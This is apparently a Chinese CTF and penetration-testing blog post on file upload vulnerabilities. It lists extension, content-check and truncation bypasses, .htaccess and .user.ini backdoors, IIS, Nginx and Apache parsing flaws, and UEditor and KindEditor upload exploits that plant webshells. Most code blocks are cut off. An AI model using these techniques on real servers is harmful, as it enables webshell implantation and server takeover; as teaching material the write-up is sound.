前言
22年春天跟着学长学ctf的时候写的文章,写的很烂,后来打了不少iis系统,遇到了不少文件上传的漏洞,并且之前这篇文章在php标签下面,不准确而且文件类型的漏洞完全可以当成一个专题来写,比如文件内容检测,文件上传后缀名检测,文件上传位置的获取和限制等,所以重写了这篇文章。
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。
获取文件的信息
当我们找到了一个文件上传接口,兴冲冲的上传一个文件上去,我们的文件会以怎么样的一种方式上传上去的那,系统又会怎么操作我们上传的文件,这里用之前写的php文件上传做示例
文件上传数据包解析
1 | POST /upload HTTP/1.1 |
字段的分割符 必须和 Content-Type 里的 boundary保持一致。然后开头 – 固定要加,结尾再加 – 表示结束。
可以看出文件上传本质上是表单的一个字段,实例中的”file1”为字段名
Content-Disposition:数据来源,form-data表示接收的是表单数据
name:表单参数值需要和后端对应,不能更改
filename:文件名,可以更改
Content-Type:数据类型,视情况更改
1 | MIME值 含义 |
$_FILES
1 |
|
在window的时候如果文件名+::$DATA
会把::$DATA
之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名
存在其他有可能正常解析的后缀
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc
.php, .php3, .php4, .php5, .php7 这些后缀如果,php 版本x> .phpy的y,则可以使用
.phps,高亮源码显示,不执行脚本,通常只做源码查看
ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
IIS6.0:下可以当asp执行的有asa,cer,cdx
Cer在7.0下有的可以有的不行。
Asa在IIS7.0,7.5也可以。
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf
Tomcat<=4.x ,默认执行:.jsp
Tomcat>=5.x 可以执行 .jspx,.jspf 依然只作为 include 文件,不能直接执行
exif_imagetype
和@getimagesize($tmp_name)[2]
可以通过抓包将文件内容的开头加上GIF89a(一种GIF标识)的方法绕过
利用自定义解析绕过黑名单
Apache的.htaccess
从安全性考虑,根目录的AllowOverride属性一般都配置成None
不允许任何Override,需要更改文件 /etc/apache2/apache2.conf
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置,利用Apache的rewrite模块对URL进行重写,rewrite规则会写在 .htaccess 文件里
1 | <Directory /var/www/> |
需要用到的代码如下:
1 | <FilesMatch "匹配内容"> |
实战意义:
1、如果存在可以上传 .htaccess 文件,就可以直接利用此规则解析;
2、如果存在修改文件权限,就直接修改解析规则;
.user.ini留后门
.htaccess是伪静态环境配置文件,用于lamp。
.user.ini是lnmp文件,里面放的是你网站的文件夹路径地址。目的是防止跨目录访问和文件跨目录读取.
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。
跟.htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache
使用方法很简单,直接写在.user.ini中:
1 | GIF89a |
11.gif是要包含的文件。
1 | auto_prepend_file 在文顶部插入加载文件; |
我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。
白名单
绕过白名单的方法同样适用于黑名单
1 | $ext_arr = array('jpg','png','gif'); |
php老版本文件截断绕过
1 | include('files/'.$action.'.php'); //载入相应文件 |
00截断绕过
要求:
php<5.3.4 magic_quotes_gpc=off(默认on,5.4以后该选项被移除)
检测原理:
有很多0x00,%00,/00之类的截断,但是核心都在chr(0)这个字符,它可以返回ascii字符,所以chr(0)表示的是null,如果变量是从用户$_GET或$_POST中获得的并且我们可控,那么我们可以利用空字符\x00来截断后面的拓展名,从而造成任意文件上传。
长度截断绕过
要求:
php版本<=5.2.8
linux 需要文件名长于 4096,windows 需要长于 256,超过部分会被丢弃从而实现文件包含绕过后缀.php限制
竞争上传
检测原理:
1 | $upload_file = $UPLOAD_ADDR . '/' . $file_name; |
文件先经过保存 ,然后判断后缀名是否在白名单中, 如果不在则删除. 此时可以利用条件竞争在保存文件后删除文件前来执行php文件
中间件解析漏洞
IIS
6.0 一般windows server 2003
7.0/7.5 一般windows server 2008,并且开始支持 ASP.NET
8.0/8.5 一般windows server 2012
10.0 一般windows server 2016
IIS5.x-6.x解析漏洞
使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;所以该解析漏洞也只能解析asp文件,而不能解析aspx文件。
目录解析(6.0)
形式:www.xxx.com/xx.asp/xx.jpg
原理::服务器默认会把.asp,.asa目录下的文件都解析成asp文件。
文件解析(5.0/6.0)
形式:www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。
IIS 7.0、IIS 7.5、Nginx(engine x) <8.03 畸形解析漏洞
漏洞原理
在默认Fast-CGI开启状况下,当访问 www.xx.com/phpinfo.jpg/1.php 这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析。这就要说到fix_pathinfo这个选项了, 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了。
漏洞形式
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
另外一种手法:上传一个名字为test.jpg,以下是文件的内容:
‘);?>
然后访问 test.jpg/.php,在这个目录下就会生成一句话木马shell.php。
Nginx(engine x)< 0.8.03 空字节代码 解析漏洞
影响版:0.5、0.6、0.7<= 0.7.65、0.8 <= 0.8.37
Nginx在图片中嵌入PHP代码然后通过访问
xxx.jpg%00.php
来执行其中的代码;
apache 1.x , 2.x解析漏洞
漏洞原理
Apache在解析文件名的时候是从右向左读
例如:test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把test.php.owf.rar解析成php。
Apache%0A解析截断(Apache2.4.0到2.4.29)
如上传a.php,然后在burp中修改文件名为a.php\x0A
富文本编辑器的利用
ueditor
UEditor .net版本<= v1.4.3.3
验证码漏洞是否存在:拼接漏洞URL地址:
UEditor/net/controller.ashx?action=catchimage
显示{“state”:”参数错误:没有指定抓取源”},就基本确定存在漏洞了
/xsgl/ueditorUE//net/config.json 查看上传的限制
1 | #生成图片马,注意后缀需要是图片格式 |
使用post方式传入我们的图片路径
1 | <form action="http://IP:port/ueditor/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST"> |
输入
http://XXXX:8888/shell.jpg?.aspx
或
http://XXXX:8888/shell.jpg#.aspx
他请求的还是shell.jpg,但是后面.aspx会被ueditor截取充当后缀
/net/controller.ashx?action=listfile
kindeditor
kindeditor<=4.1.1
下述路径若存在则存在漏洞
1 | kindeditor/asp/upload_json.asp?dir=file |